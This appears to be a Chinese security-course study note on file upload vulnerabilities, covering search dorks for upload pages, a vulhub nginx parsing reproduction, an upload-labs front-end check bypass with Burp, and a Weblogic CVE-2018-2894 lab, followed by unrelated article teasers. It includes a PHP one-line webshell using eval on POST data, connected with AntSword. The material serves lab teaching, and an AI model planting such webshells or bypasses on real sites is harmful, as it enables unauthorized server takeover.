当前位置: 首页 > news >正文

小迪安全day20WEB漏洞-文件上传之基础及过滤方式

小迪安全day20WEB漏洞-文件上传之基础及过滤方式

  • 什么是文件上传漏洞

    有文件上传就可以测试是否有漏洞,关键看代码是否完备。

    服务端代码未对客户端上传的文件进行严格的验证和过滤

  • 漏洞危害

    自定义网站后门,获取网站权限,属于高危漏洞

    上传Webshell脚本,网页后门,查看服务器目录,服务器中的文件等

  • 如何查找判断

    • 黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。
    • 白盒查找:通过源代码分析文件上传漏洞。
    • 判断:通过抓包分析
  • 注意事项以及应用说明

    文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

常规文件上传地址的获取说明

  • 搜索语法搜索关键词

    inurl:upload.php

  • 网站的目录扫描(铸剑)

  • 针对网站进行搜索upload关键词

    site:youku.com upload

  • 网站应用功能

    —上传头像、图片、会员中心、上传视频

不同格式下的文件类型后门测试

后门程序又称特洛伊木马,后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。

  • php网站一般上传php后门

  • PHP后门上传格式为JPG(在文件内插入PHP代码)不能执行,不要妄想以图片为后门控制网站

配合解析漏洞下的文件类型后门测试

复现vulhub的nginx解析漏洞

  • cd vulhub/nginx

    ls查看存在的漏洞

    cd nginx_parsing_vulnerability

  • docker-compose up -d启动环境

    docker-compose config查看端口

    ip add show eth0查看ip地址

  • 根据ip地址进入漏洞复现界面

    上传植入后门的图片,进入地址

  • 增加/.php后缀,被解析成PHP文件

本地文件上传漏洞靶场环境搭建测试

搭建upload-labs靶场

Pass-01前端验证

  • 修改JS文件
  • 禁用js
  • 上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐)

burpsite抓包,传到repeater模块,插入一句话木马

<?php
phpinfo();
@eval($_POST[xx]);
?>
ps:@是阻断php语句报错的符号,跟在@后面的php语句不会报错

跳转URL至/upload/xxx.php

利用蚁剑连接URL和密码,就可以进入到目标目录

某 CMS 及 CVE 编号文件上传漏洞测试

Weblogic 任意文件上传漏洞(CVE-2018-2894)

  • docker compose logs | grep password获取密码,用于登录进入复现的系统
  • 再根据vulhub官网提示进行复现(jsp文件上传)

相关文章:

小迪安全day20WEB漏洞-文件上传之基础及过滤方式

小迪安全day20WEB漏洞-文件上传之基础及过滤方式 什么是文件上传漏洞 有文件上传就可以测试是否有漏洞&#xff0c;关键看代码是否完备。 服务端代码未对客户端上传的文件进行严格的验证和过滤 漏洞危害 自定义网站后门&#xff0c;获取网站权限&#xff0c;属于高危漏洞。 上…...

LeetCode236.最近的公共祖先

求解最近公共祖先的算法 分为两个步骤&#xff1a; 求出两节点路径取两路径上最后一个相同的节点&#xff08;该节点即为p&#xff0c;q节点的最近公共祖先&#xff09; 节点路径的算法设计与实现 求节点路径即输入二叉树根节点与待求节点返回根节点到该节点路径上的所有节…...

【springcloud 微服务】Spring Cloud Alibaba整合Sentinel详解

目录 一、前言 二、环境准备 2.1 部署sentinel管控台 2.1.1 官网下载sentinel的jar包 2.1.2 启动控制台 2.1.3 访问控制台 2.2 整合springcloud-alibaba 2.2.1 引入相关依赖 2.2.2 修改配置文件 2.2.3 增加一个测试接口 2.2.4 接口测试 三、sentinel 流控规则使用 …...

ASP医院管理系统—病历管理系统的设计与实现

病历管理系统是医院管理系统的重要组成,该系统的开发主要包括后台数据库的建立以及前台应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强、数据安全性好的数据库,而对于后者则要求具有齐全完善的应用程序功能,友好人性化的操作界面。该系统采用现代的办公自动化…...

【蓝桥杯】动态规划(dp)入门!| 入门动态规划的正确方式! ——学习笔记

目录 最暴力的dfs --> 记忆化搜索 ---> 递推(dp) 记忆化搜索 暴力dfs 记录答案 递推的公式 dfs 向下递归的公式 递推数组的初始值 递归的边界 动态规划(dp)入门 | 这tm才是入门动态规划的正确方式! | dfs记忆化搜索 | 全体起立!!_哔哩哔哩_bilibili 大佬教学视频…...

元宇宙与网络安全

元宇宙是一种虚拟现实空间&#xff0c;用户可以在计算机生成的环境中进行互动。元宇宙的应用范围很广&#xff0c;比如房地产&#xff0c;医疗&#xff0c;教育&#xff0c;军事&#xff0c;游戏等等。它提供了更具沉浸感的体验&#xff0c;更好地现实生活整合&#xff0c;以及…...

Pod控制器之hpa

简述 HPA全称HorizontalPodAutoscaler Pod水平自动扩缩容&#xff0c;Kubernetes控制器HPA是一种用于自动调整Pod数量的控制器。它可以根据资源使用情况自动增加或减少Pod的数量&#xff0c;以确保应用程序的高可用性和性能。HPA可以根据CPU使用率或自定义指标来进行调整&…...

发现一个白嫖GPT4.0的方法!真的是完胜3.5!

大家好&#xff0c;我是五竹。 先说个基本的科普&#xff0c;最近被问的人都嘛了。 1、ChatGPT账号只有两种:普通账号和plus账号。 2、普通账号升级到plus账号&#xff0c;需要绑定国外的支付方式&#xff0c;每个月大概130左右&#xff01;plus账号更稳&#xff01;更快&am…...

数据结构之第四章、ArrayList和顺序表

一、线性表 线性表&#xff08;linear list&#xff09;是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构&#xff0c;常见的线性表&#xff1a;顺序表、链表、栈、队列... 线性表在逻辑上是线性结构&#xff0c;也就说是连续的一条直线。但是…...

webase全家桶搭建教程过程记录+bug解决

前置条件 Ubuntu20 基础环境搭建 检查Java java -version 检查mysql&#xff08;Ubuntu部署MySQL&#xff09; mysql --version 在装MySQL的时候发现了一个问题 就是不管怎么sudo mysql_secure_installation&#xff0c;&#xff0c;第二步设置密码就是不对&#xff0c;解…...

openEuler Linux 部署 HadoopHA

openEuler Linux 部署 HadoopHA 升级操作系统和软件 yum -y update升级后建议重启 安装常用软件 yum -y install gcc gcc-c autoconf automake cmake make rsync vim man zip unzip net-tools zlib zlib-devel openssl openssl-devel pcre-devel tcpdump lrzsz tar wget修改…...

React-Hooks----useEffect()

文章目录前言用法前言 useEffect() 是 React 中最常用的 Hook 之一&#xff0c;它可以让函数组件拥有类似于类组件中 componentDidMount、componentDidUpdate 和 componentWillUnmount 生命周期函数的功能。 用法 useEffect() 接受两个参数 第一个参数是一个函数&#xff0c…...

JavaWeb基础-汇总

SSM框架课程汇总01-MySQL基础02-MySQL高级03-JDBC04-JDBC练习05-Maven&Mybatis基础06-Mybatis练习07-JavaScript08-Web概述09-HTTP10-Tomcat11-Servlet12-Request&Response13-用户注册登录案例14-JSP15-JSP案例16-会话技术17-用户登录注册案例18-Filter19-Listener&…...

Niuke:JZ36.二叉树与双向链表

文章目录&#xff2e;iuke:JZ36.二叉树与双向链表题目描述示例思路分析代码实现&#xff2e;iuke:JZ36.二叉树与双向链表 题目描述 描述 输入一棵二叉搜索树&#xff0c;将该二叉搜索树转换成一个排序的双向链表。如下图所示 注意: 1.要求不能创建任何新的结点&#xff0c;只…...

javaScript---读懂promise、async/await

一、Promise Promise 是一个 Es 6 提供的类,目的是更加优雅地书写复杂的异步任务。可以解决嵌套式的回调地域问题,Promise 将嵌套格式的代码变成了顺序格式的代码。 //回调地域 setTimeout(function () {console.log("红灯");setTimeout(function () {console.lo…...

【Linux】TCP编程流程

TCP编程流程 socket()创建套接字&#xff0c;套接字TCP协议选择流式服务SOCK_STREAM。 bind()指定套接字使用的IP地址和端口。IP地址是自己主机地址&#xff0c;端口为一个16位的整形值。 listen()方法创建监听队列。监听队列分为存放未完成三次握手的连接和完成三次握手的连…...

SuperMap iDesktop 下载安装,生成本地瓦片,以及发布本地瓦片服务

SuperMap iDesktop 是插件式桌面GIS软件&#xff0c;提供基础版、标准版、专业版和高级版四个版本&#xff0c;具备二三维一体化的数据处理、制图、分析、海图、二三维标绘等功能&#xff0c;支持对在线地图服务的无缝访问及云端资源的协同共享&#xff0c;可用于空间数据的生产…...

【ONE·Data || 常见排序说明】

总言 数据结构基础&#xff1a;排序相关内容。    文章目录总言1、基本介绍2、插入排序2.1、直接插入排序&#xff1a;InsertSort2.1.1、单趟2.1.2、总趟2.2、希尔排序&#xff08;缩小增量排序&#xff09;&#xff1a;ShellSort2.2.1、预排序1.0&#xff1a;单组分别排序2.…...

本节作业之跟随鼠标的天使、模拟京东按键输入内容、模拟京东快递单号查询

本节作业之跟随鼠标的天使、模拟京东按键输入内容、模拟京东快递单号查询1 跟随鼠标的天使2 模拟京东按键输入内容3 模拟京东快递单号查询1 跟随鼠标的天使 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><met…...

ChatGPT 被大面积封号,到底发生什么了?

意大利数据保护机表示 OpenAI 公司不但非法收集大量意大利用户个人数据&#xff0c;没有设立检查 ChatGPT 用户年龄的机制。 ChatGPT 似乎正在遭遇一场滑铁卢。 3月31日&#xff0c; 大量用户在社交平台吐槽&#xff0c;自己花钱开通的 ChatGPT 账户已经无法登录&#xff0c;更…...

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动&#xff08;如演唱会、马拉松赛事、高考中考等&#xff09;期间&#xff0c;城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例&#xff0c;暖城商圈曾因观众集中离场导致周边…...

IGP(Interior Gateway Protocol,内部网关协议)

IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)

UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中&#xff0c;UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化&#xf…...

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关&#xff0…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...

接口自动化测试:HttpRunner基础

相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南 使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具&#xff0c;支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议&#xff0c;涵盖接口测试、性能测试、数字体验监测等测试类型…...

【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看

文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...

android13 app的触摸问题定位分析流程

一、知识点 一般来说,触摸问题都是app层面出问题,我们可以在ViewRootImpl.java添加log的方式定位;如果是touchableRegion的计算问题,就会相对比较麻烦了,需要通过adb shell dumpsys input > input.log指令,且通过打印堆栈的方式,逐步定位问题,并找到修改方案。 问题…...

stm32wle5 lpuart DMA数据不接收

配置波特率9600时&#xff0c;需要使用外部低速晶振...